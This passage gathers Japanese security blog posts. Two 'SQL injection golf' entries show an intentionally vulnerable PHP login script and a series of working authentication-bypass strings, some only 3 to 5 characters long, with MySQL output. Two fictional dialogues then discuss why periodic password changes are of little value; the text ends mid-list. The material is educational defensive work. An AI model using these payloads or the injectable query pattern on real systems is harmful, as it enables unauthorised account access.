DNSに対する攻撃は意外に頻繁に発生しており、Webサイト管理者が想定しておかなければならない脅威と言えます。すぐにとれる対策としては、SSLの使用状況を見直すことが挙げられます。

SQLインジェクションゴルフ - 認証回避の攻撃文字列はどこまで短くできるか?

$
0
0
コードゴルフという競技があります。与えられた問題(例えばFizzBuzz)を解くコードを、いかに短いプログラムで実現できるかというものです。
脆弱性の世界でもXSS Golfというものは既にあるようで、我らが はせがわようすけ氏にも、「短いXSSの話」というプレゼン資料が公開されています。第2回のOWASP Japanローカルチャプターミーティングでの講演ですね。これ、面白いので、まだ見ていない方はぜひご覧になって下さい。

XSSがあるならSQLインジェクションはどうかということで、ちょっと考えてみました。この手の遊びは、問題のルールが命というというところはありますが、最初なのであまり厳密に考えずにだらだらとやってみます。

攻撃対象プログラム

やはり、SQLインジェクション攻撃でみなさまおなじみの認証回避がよいのではないかと思いました。拙著「体系的に学ぶ 安全なWebアプリケーションの作り方」P123にSQLインジェクション攻撃で認証回避されてしまうスクリプトを紹介しましたが、以下に、PDOで書き換えたものを示します。
<?php
header('Content-Type: text/html; charset=UTF-8');
$id = $_GET['id']; // ユーザID
$pwd = $_GET['pwd']; // パスワード
// データベースに接続
$dbh = new PDO('pgsql:dbname=wasbook host=localhost', 'wasbook', 'wasbook'); // Postgres用
//$dbh = new PDO('mysql:dbname=test', USERNAME, PASSWORD'); // MySQL用
// SQLの組み立て
$sql = "SELECT * FROM users WHERE id ='$id' AND pwd = '$pwd'";
$stmt = $dbh->query($sql); // クエリー実行
?>
<html>
<body><?php
echo 'sql= ' . htmlspecialchars($sql, ENT_NOQUOTES, 'UTF-8') . '<br>';
if ($stmt->rowCount() > 0) { // SELECTした行が存在する場合ログイン成功
echo 'ログイン成功です';
} else {
echo 'ログイン失敗です';
}
$dbh = 0;
?></body>
</html>
テーブル users は以下のような感じで。
CREATE TABLE users (id varchar(10) NOT NULL PRIMARY KEY,  pwd varchar(10) NOT NULL);
INSERT INTO users VALUES ('yamada','sn6s3n');
INSERT INTO users VALUES ('tanaka','a2f9hy');

認証回避の基本形

拙著で紹介している認証回避のための攻撃文字列は以下の通りです。
' or 'a'='a
空白まで入れて11文字ですが、空白は不要なので除去すると9文字ですね。以下のように確認できます。「=」はパーセントエンコードして「%3d」と入力しています。


SQLコメントを使う

短い攻撃コードという目的には、SQLコメントを使う方法があります。なりすまし対象のログインIDが分かっているとすると、MySQLの場合、以下のように、idを「yamada'#」としてログインできます。MySQLは「#」から行末までがコメントとして認識しますから、パスワードの照合が無視されます。


次にPostgreSQLの場合。「#」 の代わりに、「--」をコメント開始記号として使用します。MySQLも「--」をコメントとして使えますが、MySQLの場合は「--」の後に一文字以上の空白が必要です。


コメントを使う場合の文字数は、MySQLの場合は2文字「'#」、PostgreSQLの場合は3文字「'--」となります。ただし、ログインIDまで文字数に含めるとすると、それぞれ8文字と9文字になります(なりすまし対象のログインIDが6文字の場合)。

あくまで論理和にこだわる

次に、あくまで論理和にこだわる場合を考えます。実は「OR 'a'='a'」という式は結構冗長でして、ORの右側(右オペランド)はとにかく真(true)の値をとればいいわけです。例えば、1=1が考えられますが、この場合、シングルクォートが余ってしまうのでコメントを使う必要があります。
SELECT * FROM users WHERE id ='' AND pwd = ''OR 1=1#'
上記の場合、攻撃文字列は「'OR 1=1#」で8文字となります。PostgreSQLの場合は「'OR 1=1--」で9文字です。元の9文字と比べて短くなっているとは言い難いですね。

できるだけ短い文字数の真値を探す

1=1よりもさらに短くすることはできないでしょうか。ここから先はデータベースの仕様によって変わります。
MySQLの場合、ゼロでない数値(1など)や、ゼロでない数値に変換される文字列('1'など)が暗黙の型変換で真値になります。これを利用して、以下の攻撃文字列が可能です。
  • 'OR 1#   (6文字)
  • 'OR'1     (5文字)
PostgreSQLの場合、数値から論理値への暗黙の型変換は認められないようですが、文字列から論理値への暗黙の型変換はできるようです。以下は、論理値を必要とする文脈で、暗黙に TRUE に変換されます。
  • '1'
  • 'TRUE'
  • 'TRU'
  • 'TR'
  • 'T'
  • 't'
以下は、暗黙に FALSE に変換される例です。
  • '0'
  • 'FALSE'
  • 'FALS'
  • 'FAL'
  • 'FA'
  • 'F'
  • 'f'
以下は、論理値が必要な文脈ではエラーになります。
  • 1
  • 'a'
  • 'truex'
この仕様を利用(悪用)すると、以下の攻撃文字列ができます。
  • 'OR'1   (5文字)
  • 'OR't    (5文字)
「'OR't」を指定した場合のSQL文は下記となります。
SELECT * FROM users WHERE id ='' AND pwd = ''OR't'

さらに短くできないか

以上の説明のように、認証回避の攻撃文字列を5文字まで短縮することができましたが、さらに短くできないでしょうか。例えば、MySQLにはビット論理和を求める演算子 | (1文字!)がありますが、これを使えないでしょうか。
mysql> SELECT * FROM users WHERE 0 | '1';
+--------+--------+
| id     | pwd    |
+--------+--------+
| tanaka | a2f9hy |
| yamada | sn6s3n |
+--------+--------+
2 rows in set (0.00 sec)
論理値が必要な文脈でビット演算を用いること自体は問題ないですね。
でも、ダメです。
mysql> SELECT * FROM users WHERE id='' AND pwd=''|'1';
Empty set, 2 warnings (0.00 sec)
なぜかというと、演算子の優先順位が理由です。以下は、MySQLの演算子の優先順位のまとめです(参考)。


上手のように、ビット論理和演算 | は、比較演算子 = よりも優先順位が高くなっています。このため、先のSQL文は下記のように解釈されます。

SELECT * FROM users WHERE id='' AND pwd=(''|'1');
(''|'1')の結果は 1 となるため、上記のWHERE句は、id=''AND pwd=1 ということで、認証回避にはなりません。

まとめ

SQLインジェクションゴルフということで、認証回避のSQLインジェクション攻撃文字列をどこまで短くできるかについて検討しました。もっと短くできる方法を見つけた方はぜひ教えて下さい。
また、認証回避だと問題が簡単すぎるきらいがありますので、もっと面白い想定があったらよいなと思います。こちらも、良いアイデアがあれば発表して、皆で楽しみましょう。
SQLインジェクションゴルフの実用的な価値はあまりないと思いますが、強いて言えば下記があげられます。

  • 文字数制限があって脆弱性の影響がないと言い張る人の論破
  • IPSやWAFの回避技術や、回避技術の対抗策の検討



SQLインジェクションゴルフ - なんと3文字で認証回避が可能に

$
0
0
昨日のエントリ「SQLインジェクションゴルフ - 認証回避の攻撃文字列はどこまで短くできるか?」にて、認証回避の攻撃文字列が5文字にできる(「'OR'1」)ことを示しましたが、@masa141421356さんと、やまざきさん(お二人とも拙著のレビュアーです)から、idとpwdにまたがった攻撃例を示していただきました。やまざきさんの例は、MySQL限定ながら、なんと3文字です。これはすごい。

@masa141421356さんの攻撃例

@masa141421356さんのツイートを引用します。
ここで「長さ0の文字列がNULL扱いされ」るDBというのはOracleを指します。出題ではMySQLとPostgreSQLを対象としていてどちらも「長さ0の文字列がNULL扱い」しないので、5文字パターンでいけます。すなわち、idに「'OR」、pwdに「>'」です。この場合のSQL文は下記となります。

SELECT * FROM users WHERE id =''OR' AND pwd = '>''

このままだと分かりにくいので、WHERE句の式を以下にわかりやすく示します。

id =''  OR  ' AND pwd = ' > ''

これは、列idが空文字列(長さ0の文字列)か、文字列「 AND pwd = 」が空文字列よりも大きい場合となりますので、後者が必ず真で、WHERE句は常に成立することになります。
第1のパラメータでリテラルを終端して、途中の式を文字列リテラルの中に入れてしまっていますね。これはXSSではよくやる方法ですが、SQLインジェクションに応用した例は珍しい気がします。

やまざきさんの攻撃例

次に、@ymzkei5さんのツイートです。
idに「'」、pwdに「|'」の計3文字です。この場合のSQL文は下記となります。

SELECT * FROM users WHERE id =''' AND pwd = '|''

WHERE句を分かりやすく表示すると以下の通りです。

id =''' AND pwd = ' | ''

青地の中は、「' AND pwd = 」ですね。これと '' (空文字列)とで、| (ビット単位の論理和)の演算をしています。この結果は 0 になります。
mysql> select ''' AND pwd = '|'';
+--------------------+
| ''' AND pwd = '|'' |
+--------------------+
|                  0 |
+--------------------+
1 row in set, 2 warnings (0.00 sec)
なぜ0になるかというと、MySQLは数値が要求される文脈に文字列があった場合は数値(浮動小数点数)に暗黙の型変換され、数値として正しくない文字列の場合は 0 になるからです。すなわち、| の左右のオペランドは、どちらも 0 になります。

この結果、先のSQL文は、「SELECT * FROM users WHERE id=0」と同じです。これを実行してみましょう。
mysql> SELECT * FROM users WHERE id=0;
+--------+--------+
| id     | pwd    |
+--------+--------+
| tanaka | a2f9hy |
| yamada | sn6s3n |
+--------+--------+
2 rows in set, 2 warnings (0.00 sec)
つまり、'tanaka'=0と解釈されているわけですが、MySQLの場合(他のDBもですが)、文字列と数値の比較の場合、暗黙に文字列を数値に変換してから比較します。そして、MySQLに限り、数値に変換できない文字列は 0 に変換するからです。この結果、'tanaka' = 0 は真になります。
やまざきさんの解は、MySQLの「暗黙の型変換」の仕様を巧妙に利用したものと言えます。

まとめ

昨日紹介したSQLインジェクションゴルフの解答例として、@masa141421356さんとやまざきさんの解答を紹介しました。どちらの解も、SQL文の一部を文字列リテラルに閉じ込めるという技を披露してくださっていて、興味深いものです。特に、やまざきさんの3文字解には脱帽です。
同時に、あらためてSQLの暗黙の型変換は危険だなとも思いました。暗黙の型変換の危険性については、以前の拙稿「SQLの暗黙の型変換はワナがいっぱい」を参照下さい。

パスワードの定期的変更について徳丸さんに聞いてみた(1)

$
0
0

高橋: こんにちは、高橋です。今日は徳丸さんをお招きして、パスワードの定期的変更問題についてお話を伺います。徳丸さん、よろしくお願いします。

徳丸: 徳丸です。よろしくお願いします。

高橋: まず、お伺いしたいことですが、パスワードを定期的に変更すべしという根拠には、どのようなものがあるのでしょうか?

徳丸: 大きく分けて2つの理由が挙げられていると思います。一つは、パスワードを定期的に変更すると、パスワードを破って侵入する攻撃の予防になるというもの、すなわち事前の予防策です。もう一つは、パスワードが漏洩した際に、被害を軽減できるというもので、事後の緩和策ということですね。

高橋: もう少し詳しくお願いします。

徳丸: まず、「事前」の方ですが、オンライン攻撃とオフライン攻撃があります。

高橋: オンライン攻撃とはどのようなものでしょうか?

徳丸: オンライン攻撃は、ネット経由でパスワードを順に試すことですね。文字通り片っ端から順に試すブルートフォース攻撃、辞書攻撃、リバースブルートフォース攻撃、パスワードリスト攻撃などがあります。このうち、ブルートフォース攻撃はオンラインでは現実的ではありません。

高橋: なぜでしょうか? コンピュータが高速になったので大量のパスワードが試せるようになったという記事を読みましたが。

徳丸: オンラインのパスワード攻撃の速度は、攻撃側端末の性能ではなく、攻撃対象サイトの性能に依存します。しょぼいサイトなら1秒間に1個のパスワードしか試せないが、高負荷に耐えるサイトでは、1秒間に1万個のパスワードを試せるかもしれません。

高橋: 「バルス」のようなものでしょうか?

徳丸: そうそう、バルス…先日のラピュタの放映では、Twitterは14万3199バルス/秒を達成したそうですね…同様にパスワードも秒間10万個試せる…とは限らないのですよ

高橋: なぜでしょうか?

徳丸: 対策しているからですよ。Twitterは、なりすましの価値の高いサイトなので、さまざまななりすまし対策(参考)をとっています。私は試していませんが、パスワード試行も対策していると思います。

高橋: もう少し具体的に教えてください。

徳丸: 例えば、同じIDで続けてパスワードを間違えると、そのアカウントを一時的にロックする「アカウントロック」という方法があります。10回連続してパスワードを間違えると30分ロックするという具合です。10万個のパスワードを試すには約5000時間掛かりますから、約208日掛かります。

高橋: 208日攻撃され続けると怖いですね。

徳丸: さすがにその前に遮断するでしょう。それと、10万個のパスワードは辞書攻撃としては十分ですが、ブルートフォース(総当たり)としてはまったく不十分です。

高橋: …と、おっしゃいますと?

徳丸: twitterは最短6文字のパスワードがつけられますが、パスワードの文字種は制限していないので、6文字に限定しても、95^6 = 約7350億通りのパスワードがあり得ます。先のアカウントロックがある条件で総当たりするには、約420万年掛かります。

高橋: なら、辞書攻撃で攻めてくるのでは?

徳丸: twitterは独自の辞書をもっていて「password」のようなありきたりの単語はパスワードに設定することができないので、辞書攻撃は難しいでしょう。

高橋: そうですか…しかし、パスワードの定期的変更から話がそれていませんか?

徳丸: そうでした。辞書攻撃が短期間に終わるのであれば、パスワードを変更する前に攻撃が終わるので、定期的変更は意味がありませんね。

高橋: では、パスワードの定期的変更の期間、例えば3ヶ月をまたいで攻撃する場合はどうでしょうか?

徳丸: いくらなんでも、サイト側で攻撃を検知して、遮断などの処置をとって欲しいですね。あるいは当該のユーザーに「パスワードの辞書攻撃が来ているので対処して欲しい」と連絡してくれてもいいでしょう。

高橋: その場合もパスワードを変更するのではないですか?

徳丸: そうです。しかし、「定期的に」変更するのではなく、「攻撃されている」ことをトリガーとして変更するので、全然違います。辞書攻撃が来ていることが分かれば、辞書に載っていない、長い文字列をパスワードに設定すれば、辞書攻撃は怖くありません。

高橋: サイト側で対策を取っていない場合、パスワードの定期的変更は意味がありませんか?

徳丸: それが、意味がないのですよ。パスワードを定期的に変更すべしという人の中には、パスワードを変更すると「ひらりと」パスワード攻撃を避けることができるという人がいますが、それは違います。

高橋: 違うのですか?

徳丸: はい。攻撃側も防御側も相手の手の内がわからない状態なので、「たまたま攻撃をかわせる」可能性もあれば、「パスワードを変更したら、たまたま攻撃に掛かってしまう」場合もあります。闇夜にむやみやたらに鉄砲を撃ってくるのを避ける状況を想像してみて下さい。むやみによけても、よけた先で弾に当たるかもしれません。

高橋: でも、しらみつぶしに撃ってくる相手はよけたくなりますね。

徳丸: そうです。なので、「しらみつぶし」攻撃には、アカウントロックその他の施策で対策することが重要です。また、利用者側でも、辞書に載っているような単語を避けて、長く複雑なパスワードをつければ辞書攻撃は回避できます。

高橋: 辞書攻撃以外の方法に対してはどうでしょうか?

徳丸: リバースブルートフォース攻撃に対しても、パスワードの定期的変更は意味がないですね。リバースブルートフォース攻撃はパスワードを固定してIDの方を変えていくので、1人のIDに対しては攻撃は1度だけです。1つのパスワードを試し終わったら次のパスワードに進みますが、辞書攻撃と同じ理由で、パスワードを定期的に変更しても効果がありません。リバースブルートフォース攻撃も、辞書攻撃同様、パスワードを複雑なものにすることで防げます。

高橋: パスワードリスト攻撃はどうでしょうか?

徳丸: パスワードリスト攻撃に対しては、他のサイトとは別のパスワードをつけることが必要十分な対策で、パスワードを定期的に変更する必要はありません。

高橋: わかりました。次に、オフライン攻撃について教えて下さい。

徳丸: パスワードのオフライン攻撃というのは、保護された形式のパスワードファイルが外部に漏れて、それを解読する行為を指します。

高橋: パスワードの保護というと、暗号化でしょうか?

徳丸: 暗号化する場合もありますが、パスワードの場合は、ハッシュを用いることが多いですね。

高橋: ハッシュというと、MD5とかSHA-1のことですか?

徳丸: そうそう。パスワードの保護用に開発されたハッシュ関数もありますが、MD5やSHA-1のような汎用的なハッシュ関数を用いる場合も多いですね。

高橋: ハッシュでパスワードを保存すると、元に戻せないから保護できるというのは分かりますが、サイト運営者がパスワードを照合する時に困りませんか?

徳丸: パスワード照合の場合も、ユーザが入力したパスワードからハッシュ値を求めて、会員DBに保存されたパスワードハッシュ値と比較します。ハッシュ値同士で照合する訳です。

高橋: そうか、ハッシュなら絶対に元のパスワードに戻される心配はありませんね!

徳丸: それが、そうでもないのです。

高橋: なぜでしょうか? わかった! MD5の脆弱性で元に戻せるのですね! なら、脆弱なハッシュ関数を使わなければよいのでは?

徳丸: そうではありません。MD5には一部弱点が見つかっていますが、ハッシュ値から元の文字列(平文)が戻せるほどには弱くなって(危殆化して)はいません。

高橋: それではなぜパスワードが分かるのでしょうか?

徳丸: 総当たり(ブルートフォース)攻撃を使います。パスワードの文字種や文字数は限られているので、総当たりでハッシュ値を求めていけば、いつかはハッシュ値が一致するパスワードが見つかります。

高橋: でも、お高い(時間が掛かる)んでしょう?

徳丸: そうでもないのです。まず、レインボーテーブルと言って予め全てのハッシュ値を計算したものを圧縮したファイルを用いて高速にハッシュ値から元パスワードを算出する方法が考案されました。

高橋: レインボーテーブルは聞いたことがあります。

徳丸: 次に、GPUというグラフィック用のプロセッサが高速演算できることに着目して、ハッシュ値の高速演算をするようになりました。これは約2年前の記事ですが、当時でも1秒間にMD5ハッシュが20億回計算できるとしています。

高橋: 「また上野宣か」で有名な上野さんの記事ですね。

徳丸: 8桁英数字のパスワードのパターンは218兆通りですから、1秒間に20億回計算できると、約11万秒、すなわち30時間ほどですべてのパターンを試行できることになりますね。

高橋: 丸1日ちょっとですか。これだとパスワードを毎日変更しないと駄目ですね。

徳丸: 今ならもっと高速だから、毎日パスワードを変更しても駄目でしょう。

高橋: 困りましたね。どうすればいいですか?

徳丸: ソルトとストレッチングというものを使います。

高橋: ソルトとはなんでしょうか?

徳丸: ソルトは、ハッシュ値を計算する前のパスワードにつけてやる短い文字列です。パスワードに「塩をまぶす」ようなニュアンスからソルト(salt)と命名されました。ソルトはユーザ毎に異なるように、乱数等を使って生成します。

高橋: ソルトがあると、なぜ良いのでしょうか?

徳丸: LinkedInの事例で説明しましょう。2012年の6月にLinkedInから約650万件のパスワードが流出しました。パスワードはSHA-1ハッシュの形で保存されていましたが、約1週間で540万件の元パスワードを「解読」したという人物が現れました。

高橋: 1週間で540万件というと、ものすごく高速ですね。

徳丸: そうでもないのです。単純なハッシュだと、パスワードが同じであれば全ての利用者でハッシュ値も同じになりますから、利用者が何人でも総当たりの手間は変わりません。

高橋: ソルトがあると違うのですか?

徳丸: はい。ソルトは利用者毎に異なるので、ハッシュ値を求める前に、どのソルトを使うか決めなければなりません。つまり、1人ずつハッシュ値を求めないといけないので、LinkedInの場合で言うと、手間が650万倍になります。

高橋: 650万倍! それはすごいですね!

徳丸: LinkedInが大規模なサイトだからで、利用者が100人のサイトだったら、100倍止まりですが。

高橋: 1日が100日に増えるだけだと、パスワードを定期的に変更したくなりませんか?

徳丸: いや、それもあるのですが、LinkedInの場合でも全員が安心という訳ではありません。最初の1人は1週間程度で解読されてしまうわけですから。

高橋: オバマ大統領もLinkedInに登録されているようですから、そういう著名人は真っ先に解読されそうですね。

徳丸: そうなんです。このため、ストレッチングという方法を使う場合があります。

高橋: ストレッチングとは何でしょうか?

徳丸: ストレッチングとは、ハッシュ計算を何回も繰り返すことです。例えば1万回ハッシュ値の計算を繰り返したものをパスワードのハッシュ値として保存します。

高橋: 1万回も計算するとCPU資源を浪費しそうですね。

徳丸: そうです。しかし、攻撃側も1万倍遅くなりますから、1日強で解析できたものが1万日、すなわち約27年かかることになります。

高橋: 27年掛かれば大丈夫そうですが、攻撃側に対抗策はないのですか?

徳丸: あります。ハッシュ値の計算は並列処理が容易なので、マシンの台数を27倍にすれば、1年で計算が終わることになります。

高橋: 1年で解読されてしまったら、パスワードを定期的に変更する動機になりますね。

徳丸: オバマ大統領ならともかく、あなたのパスワードを知るためにモンスターマシンを1年間占有させるかという疑問がありますが、心配なら利用者側にも対抗策がありますよ。

高橋: 心配なので、ぜひ教えてください!

徳丸: パスワードの桁数を増やすことです。パスワードを1桁増やすとパスワードのパターン数は60倍~90倍程度になりますから、8桁のパスワードではなく12桁のパスワードを使うようにすれば、ハッシュの解読の時間は1千万倍以上掛かります。

高橋: それは良いことを教わりました。今後は、全てのサイトで12桁以上のパスワードをつけます!

徳丸: でも、サイト側の制限で、今でも8桁パスワードまでというところが多いんですけどね。

高橋: …既に長くなりましたので、本日はこれくらいにして、ここまでのまとめをいただけますか?

徳丸: はい。結局「事前の予防策」として、オンライン攻撃に対しては「パスワードの定期的変更」は意味がないということです。オフライン攻撃に対しては、サイト側のパスワードハッシュでの保存やソルト、ストレッチングなどの施策、利用者側での長いパスワードの設定で十分な強度が得られますが、パスワードの保存方法は利用者には分からないので、不安は残りますね。

高橋: では、パスワードの定期的変更に意味があるということでしょうか?

徳丸: そうとは限りません。オフライン攻撃が行われているという状況は、既にパスワードのハッシュ値が洩れていると言うことですから、事後対処という意味もあります。既に長くなりましので、「事後の緩和策」としてのパスワード定期的変更と、結局パスワードは定期的に変更しないといけないのかどうかについては、次回に説明することにしましょうか。

高橋: そうですね。それでは、皆様、次回をお楽しみにぃ! 徳丸さん、ありがとうございました~


※注: ここに登場する人物はすべて架空の人物です。文責は徳丸浩にあります。

パスワードの定期的変更について徳丸さんに聞いてみた(2)

$
0
0

高橋: こんにちは、高橋です。前回に引き続き、徳丸さんをお招きして、パスワードの定期的変更問題についてお話を伺います。徳丸さん、よろしくお願いします。

徳丸: はい。よろしくお願いします。

高橋: 前回は、「オンライン攻撃に対する予防としてパスワードの定期的変更は意味がない」という結論でしたが、今回は、事後の被害軽減策として、パスワードの定期的変更に意味があるか、というテーマですね。

徳丸: はい。その事後の話ですが、2つの話題があります。まず、前回の続きで、パスワードハッシュ値が漏洩してオフライン攻撃で解読されるまでの時間稼ぎとして、パスワードの定期的変更に意味があるか、次に、パスワードそのものが漏れている場合の緩和策として、定期的変更に意味があるかです。

高橋: それでは、まずハッシュ値が漏洩しているケースについてお願いします。

徳丸: はい。まず、前提として「パスワードを3ヶ月毎に変更する」というポリシーを想定しましょう。3ヶ月に深い意味はありませんが、ありがちな想定です。

高橋: 四半期毎だと、企業人としてもキリがいい感じです。

徳丸: 次に、ハッシュ値の解読に要する時間がどれくらい掛かるかが問題です。これが短過ぎても、長過ぎても、パスワードの定期的変更には意味がありません。

高橋: なぜでしょうか?

徳丸: まず、短すぎる場合、例えば 1週間でハッシュからパスワードが分かるとすると、定期的変更の前にパスワードが悪用される可能性が高いですよね。逆に、解読に30年掛かる場合は、変更しなくても、30年も経てばそのパスワードは使わなくなっている可能性が高いでしょう。

高橋: それでは、ハッシュの解読に1年掛かるくらいに予め想定して、パスワードの保存方法を決めれば良いのではありませんか? そうすると、3ヶ月毎のパスワードの変更がいい感じです。

徳丸: そうはいかないのですよ。まず、ハッシュの解読に 1年掛かると想定しても、攻撃側がマシンの台数を 12倍に増やせば、1ヶ月で終わってしまいます。パスワードの変更が間に合わない可能性が高いです。

高橋: ハッシュの解読は並列処理が容易という話題は、前回にも出てきました。

徳丸: 次に、わざわざ 1年で解読できるように調整する必要もないですよね。1000年でも、1万年でも、うーんと長くすれば、パスワードの定期的変更の必要はないわけですから。

高橋: 前回教えて頂いたソルト、ストレッチングや、長いパスワードの設定により、それが可能になるわけですね。

徳丸: そうです。8文字英数字パスワードのハッシュが、GPUの活用で、 1日で解読できるとしましょう。同じ条件で、英数字記号で12桁のパスワードに変えると、ハッシュの解読にはどれくらい掛かると思いますか?

高橋: 前回のお話では、1000万倍ということでしたね。

徳丸: それは、さまざまな条件を考慮した控え目な(安全側の)数字です。計算してみると、約56億倍掛かります。

高橋: 徳丸さん、さばを読み過ぎ…逆か、控え目過ぎたのではないですか?

徳丸: パスワードに記号を使えるようにした寄与もあり、それが12乗で掛かるので莫大な差になるのです。年で言うと、1500万年掛かる計算です。

高橋: ひゃー、ハードの性能向上や攻撃マシンの台数増強を考慮しても、十分な余裕がありそうですね。

徳丸: そうです。加えて、ソルトやストレッチングの寄与もあり得るわけですが、利用者に目に見える範囲だけでも、これだけの改善ができるわけです。

高橋: なるほど…でも、前回のお話では、まだ8文字英数字のパスワードのサイトが多いというお話でしたよね。

徳丸: そうなんです。例えば、三井住友銀行のネットバンキングでは、「半角4~8桁の英数字」となっています。

高橋: 4桁もありですか!

徳丸: まぁ、4桁パスワードをつけてしまうは利用者の責任としても、上限は緩和して欲しいですね。

高橋: もっとマシな銀行はないですのか?

徳丸: どこも似たり寄ったりですし、実は、三井住友のネットバンキングやめようと思った矢先に、ワンタイムパスワードのトークンを無償化するという英断があったので、引き続き利用しています。

高橋: ワンタイムトークンの無償化はいいですね。

徳丸: そうなんです。前は、月に105円払ってましたから、ありがたいです。

高橋: また、話がそれてしまいました(_ _) 次に、パスワードそのものが漏れてしまった場合の緩和策について教えて下さい。

徳丸: わかりました。この場合重要なことは、「パスワードが漏れた事実を利用者が気づけるか、それはいつか」ということです。

高橋: 時々、個人情報漏洩のニュースやリリースが発表されますが、それのことですか?

徳丸: はい。加えて、利用者がサイトを使っていて気づくこともありますね。

高橋: どんな場合でしょうか?

徳丸: 正しいパスワードを入力しているのにログインできないとか、不正利用(メッセージスパムの送信、意図しない振込…)に気づいたとかですね。

高橋: パスワード漏洩のお知らせがないのに、実際にはパスワードが漏洩しているとすると、サイト側が気づいていないか、気づいているのに隠しているということでしょうか?

徳丸: そういうケースもあり得るとは思いますが、実際に多いのは利用者の不注意でパスワードが漏洩するケースだと思います。

高橋: 具体的に教えて下さい。

徳丸: 一番ありそうなのはフィッシングですね。こちらの記事も参照して下さい。

高橋: なるほど、自分の不注意で漏らしてしまったら、中々気づけないし、サイト側も気づかない場合が多そうです。

徳丸: そうです。最悪の場合、パスワードが漏洩したことに、利用者は永遠に気づかないことになりますね。

高橋: それは困ります。それでは、やはりパスワードの定期的変更が必要なのではありませんか?

徳丸: パスワードの定期的変更は最後の手段として、もっとよい方法がないか考えましょうよ。

高橋: そんな方法がありますか?

徳丸: はい。まず、定期的にログイン履歴を確認するという方法があります。下図は、Googleの最近のアクティビティです。

高橋: 結構詳しい情報が表示されていますね。

徳丸: そうです。これを見て、怪しいログインがあれば、不正ログインの可能性と見てパスワードを変更します。

高橋: ……結局、定期的にチェックして、怪しければパスワードを変更するので、手間はあまり変わらない気がしますが…

徳丸: でも、手間が似たようなものとしても、管理レベルは随分違います。パスワードの定期的変更は、不正アクセスがあるかないか分からない前提で、とにかくパスワードを変更するわけですから。しかし、もっとよい方法もあります。

高橋: なんだ、早くそれを教えて下さい。

徳丸: 2段階認証が使える場合は、2段階認証をぜひ設定しましょう。

高橋: Googleや、facebookやYahoo!で導入されている、6桁数字を追加で入れるあれですか。

徳丸: はい。2段階認証を設定しておけば、フィッシングに関しては十分な対策になります。

高橋: フィッシング以外の原因、例えばサイトが不正アクセスされて情報が漏洩した場合も大丈夫ですか?

徳丸: 大丈夫な場合と大丈夫でない場合があり得ますね。

高橋: 大丈夫でない場合とは?

徳丸: 2段階認証にワンタイム生成アプリを使っている場合、ワンタイムパスワードは秘密のシード(シークレットキー)と時刻からパスワードの数字を生成します。このシードはサイト側でも保存していないとパスワードの照合ができないので、この値まで漏洩したら、第三者がワンタイムパスワードを知り得ることになります。

高橋: そんなことがあり得るのでしょうか?

徳丸: あり得るのかと疑問に思うのはもっともですが、RSAのワンタイムトークンのシードが漏洩して不正アクセスされたという事例があります。IIJの根岸さんが素晴らしい解説記事を書いておられるので、ぜひお読み下さい。

高橋: 2段階認証まで破られる可能性があるとしたら、やはりパスワードは定期的に変更した方がよいのではありませんか?

徳丸: レアなケースだとは思いますが、そこまで心配するのであれば、ログイン履歴の定期的な確認をお勧めしますよ。

高橋: でも、ログイン履歴が確認できないサイトも多いですよ。

徳丸: そこです。どのサイトに対してもログイン履歴を定期的に確認するなんて現実には不可能です。ですが、全てのサイトのパスワードを3ヶ月毎に変更することも、労力が大きすぎます。

高橋: どうすればいいの? と思ってしまいますが。

徳丸: サイトの性質によって、管理レベルを区別することをお勧めします。区別の基準として、サイトに不正ログインできる場合、短期的な攻撃で終わるものと、長期に攻撃が続くものがあります。

高橋: 短期的に攻撃が終わってしまうことがあり得ますか? 攻撃者はいつまでも攻撃したいのでは?

徳丸: 具体的には、メッセージスパム、寸借詐欺、不正な振込、不正な物品購入等は、長期的に攻撃したいと思っても、被害者が直に気づいて、パスワード変更などの処置をしてしまいます。攻撃者側も心得ていて、たとえば預金のありったけを振り込みしてしまいます。

高橋: なるほど、ちびちび攻撃したら、儲けが減るということですね。では、長期に攻撃が続くものとはどのようなものでしょうか?

徳丸: 利用者に気づかれない攻撃としては、情報の漏洩が代表的です。たとえば、メールの盗聴が目的であれば、スパム送信などしないで、じっと静かに盗聴を続けるでしょうね。

高橋: それは怖い! やはりパスワードの定期…

徳丸: (遮って)いや、情報漏洩が心配ということは、秘密情報を扱うサイトということなので、そのようなサイトは少数に絞り、2段階認証やログイン履歴確認ができるサイトを選定することですね。

高橋: あー、ようやく道筋が見えてきたような気がします。秘密情報を扱うサイトは、2段階認証をサポートしたサイトに限定しろ、と。

徳丸: それをお勧めします。

高橋: でも、現時点で2段階認証に対応しているサイトは大抵米国のサービスだから、CIAが傍受しているのではないですか?

徳丸: CIAではなく、国家安全保障局(NSA)ですが、政府関係者ならともかく、民間のメールの中身を一々確認するほど彼らも暇ではない気がしますが、心配であれば、Yahoo!ジャパンなど、日本のサービスで2段階認証に対応しているものもありますよ。

高橋: まぁ、そこはよく考えます。

徳丸: あと、メールに関しては、元々盗聴のリスクがあるものなので、機密性の高いメールはPGPなどで暗号化するほうがよいでしょうね。

高橋: 分かりました。その他のサイトはどうなんでしょうか?

徳丸: オンラインバンキング等も含めて、短期的に被害を受けるサイトは、パスワードの定期的変更では間に合わないので、他の施策をとるのがいいですね。ジャパンネット銀行と三井住友銀行は無料でワンタイムトークンを配っていますし、有料でトークンを配布している銀行もあります。パスワードリスト攻撃の被害の多いネットゲームも、2段階認証に対応しているサイトがあります。

高橋: わかりました。では、そろそろ今回のまとめをいただけますか?

徳丸: はい。先に述べたように、利用者側で警戒が特に必要な状況は、長期にわたって情報が漏洩し続ける事態ですから、そのような秘密情報を預けるサイトはむやみに増やさず、2段階認証に対応した安全性の高いサイトに絞るのがよいでしょう。これができれば、パスワードの定期的変更をすべき理由はなくなります。

高橋: その他のサイトはどうでしょうか?

徳丸: 秘密情報の有無に関わらず、攻撃者にとって金銭的価値の高いサイト、オンライン銀行やクレジットカードを扱うECサイト等は、短期集中的に狙われやすいので、パスワードの定期的変更は意味がありませんが、それ以外で、パスワードの文字数が多く設定できるとか、パスワードリセットの機能がちゃんとしているなど、セキュリティ施策のしっかりしているサイトを選んだ方がいいですね。

高橋: ちょっと素人には難しい判断ですね。

徳丸: 機会があれば別の記事に書きましょうかね。

高橋: 結局、パスワードの定期的変更は意味がないという結論なんですか?

徳丸: そう言いたいところですが、理論的には、次の条件を満たすサイトを使わないといけない場合は、パスワードの定期的変更が効果がなくはない、ということになります。

高橋: 微妙な言い方ですね。どのような条件ですか?

徳丸: はい。箇条書きにしますね。以下の3条件を満たす場合、パスワードの定期的変更が意味がある可能性があります。

  • 長期に情報が漏洩し続けると被害の拡大するメール、メッセージング、ストレージなどのサービスである
